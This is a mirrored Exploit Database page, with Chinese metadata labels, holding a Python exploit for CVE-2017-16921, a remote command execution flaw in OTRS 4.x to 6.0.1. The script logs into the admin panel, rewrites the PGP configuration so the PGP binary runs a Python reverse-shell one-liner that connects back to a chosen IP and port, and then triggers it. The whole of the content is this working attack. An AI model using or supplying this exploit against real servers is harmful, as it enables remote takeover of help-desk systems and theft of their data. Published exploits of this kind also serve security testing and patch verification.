OTRS 6.0.1 – Remote Command Execution (2)

• Exploit Database
• 123 阅读

• 作者： Hex_26
  日期： 2021-04-22
• 类别：

  • webapps
  平台：

  • perl
• 来源：https://www.exploit-db.com/exploits/49794/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119

  # Exploit Title: OTRS 6.0.1 - Remote Command Execution (2) # Date: 21-04-2021 # Exploit Author: Hex_26 # Vendor Homepage: https://www.otrs.com/ # Software Link: http://ftp.otrs.org/pub/otrs/ # Version: 4.0.1 - 4.0.26, 5.0.0 - 5.0.24, 6.0.0 - 6.0.1 # Tested on: OTRS 5.0.2/CentOS 7.2.1511 # CVE : CVE-2017-16921   #!/usr/bin/env python3 """ Designed after https://www.exploit-db.com/exploits/43853. Runs a python reverse shell on the target with the preconfigured options.   This script does not start a listener for you. Run one on your own with netcat or another similar tool   By default, this script will launch a python reverse shell one liner with no cleanup. Manual cleanup needs to be done for the PGP options in the admin panel if you wish to preserve full working condition. """   import requests; import sys;   baseuri = "http://10.1.1.1/index.pl"; username = "root@localhost"; password = "root"; revShellIp = "10.1.1.2"; revShellPort = 7007;   sess = requests.Session();   print("[+] Retrieving auth token...");   data = {"Action":"Login","RequestedURL":"","Lang":"en","TimeOffset":"-480","User":username,"Password":password};   sess.post(baseuri,data=data);   if "OTRSAgentInterface" in sess.cookies.get_dict(): print("[+] Successfully logged in:"); print("OTRSAgentInterface",":",sess.cookies.get_dict()["OTRSAgentInterface"]); else: print("[-] Failed to log in. Bad credentials?"); sys.exit();   print("[+] Grabbing challenge token from PGP panel...");   contents = sess.get(baseuri+"?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt::PGP;SysConfigGroup=Framework").text; challTokenStart = contents.find(&apos;<input type="hidden" name="ChallengeToken" value="&apos;)+50; challengeToken = contents[challTokenStart:challTokenStart+32]; print("[+]",challengeToken);     print("[+] Enabling PGP keys in config, and setting our malicious command");   settings = {\ "ChallengeToken":challengeToken,\ "Action":"AdminSysConfig",\ "Subaction":"Update",\ "SysConfigGroup":"Framework",\ "SysConfigSubGroup":"Crypt::PGP",\ "DontWriteDefault":"1",\ "PGP":"1",\ "PGP::Bin":"/usr/bin/python",\ "PGP::Options":"-c &apos;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" + revShellIp + "\"," + str(revShellPort) + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);&apos;",\ "PGP::Key::PasswordKey[]":"488A0B8F",\ "PGP::Key::PasswordContent[]":"SomePassword",\ "PGP::Key::PasswordDeleteNumber[]":"1",\ "PGP::Key::PasswordKey[]":"D2DF79FA",\ "PGP::Key::PasswordContent[]":"SomePassword",\ "PGP::Key::PasswordDeleteNumber[]":"2",\ "PGP::TrustedNetworkItemActive":"1",\ "PGP::TrustedNetwork":"0",\ "PGP::LogKey[]":"BADSIG",\ "PGP::LogContent[]":"The+PGP+signature+with+the+keyid+has+not+been+verified+successfully.",\ "PGP::LogDeleteNumber[]":"1",\ "PGP::LogKey[]":"ERRSIG",\ "PGP::LogContent[]":"It+was+not+possible+to+check+the+PGP+signature%2C+this+may+be+caused+by+a+missing+public+key+or+an+unsupported+algorithm.",\ "PGP::LogDeleteNumber[]":"2",\ "PGP::LogKey[]":"EXPKEYSIG",\ "PGP::LogContent[]":"The+PGP+signature+was+made+by+an+expired+key.",\ "PGP::LogDeleteNumber[]":"3",\ "PGP::LogKey[]":"GOODSIG",\ "PGP::LogContent[]":"Good+PGP+signature.",\ "PGP::LogDeleteNumber[]":"4",\ "PGP::LogKey[]":"KEYREVOKED",\ "PGP::LogContent[]":"The+PGP+signature+was+made+by+a+revoked+key%2C+this+could+mean+that+the+signature+is+forged.",\ "PGP::LogDeleteNumber[]":"5",\ "PGP::LogKey[]":"NODATA",\ "PGP::LogContent[]":"No+valid+OpenPGP+data+found.",\ "PGP::LogDeleteNumber[]":"6",\ "PGP::LogKey[]":"NO_PUBKEY",\ "PGP::LogContent[]":"No+public+key+found.",\ "PGP::LogDeleteNumber[]":"7",\ "PGP::LogKey[]":"REVKEYSIG",\ "PGP::LogContent[]":"The+PGP+signature+was+made+by+a+revoked+key%2C+this+could+mean+that+the+signature+is+forged.",\ "PGP::LogDeleteNumber[]":"8",\ "PGP::LogKey[]":"SIGEXPIRED",\ "PGP::LogContent[]":"The+PGP+signature+is+expired.",\ "PGP::LogDeleteNumber[]":"9",\ "PGP::LogKey[]":"SIG_ID",\ "PGP::LogContent[]":"Signature+data.",\ "PGP::LogDeleteNumber[]":"10",\ "PGP::LogKey[]":"TRUST_UNDEFINED",\ "PGP::LogContent[]":"This+key+is+not+certified+with+a+trusted+signature%21.",\ "PGP::LogDeleteNumber[]":"11",\ "PGP::LogKey[]":"VALIDSIG",\ "PGP::LogContent[]":"The+PGP+signature+with+the+keyid+is+good.",\ "PGP::LogDeleteNumber[]":"12",\ "PGP::StoreDecryptedData":"1"\ };     sess.post(baseuri+"?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt::PGP;SysConfigGroup=Framework",data=settings);   print("[+] Now attempting to trigger the command. If this hangs, it likely means the reverse shell started.");   sess.get(baseuri+"?Action=AdminPGP");   print("[+] Exploit complete, check your listener for a shell");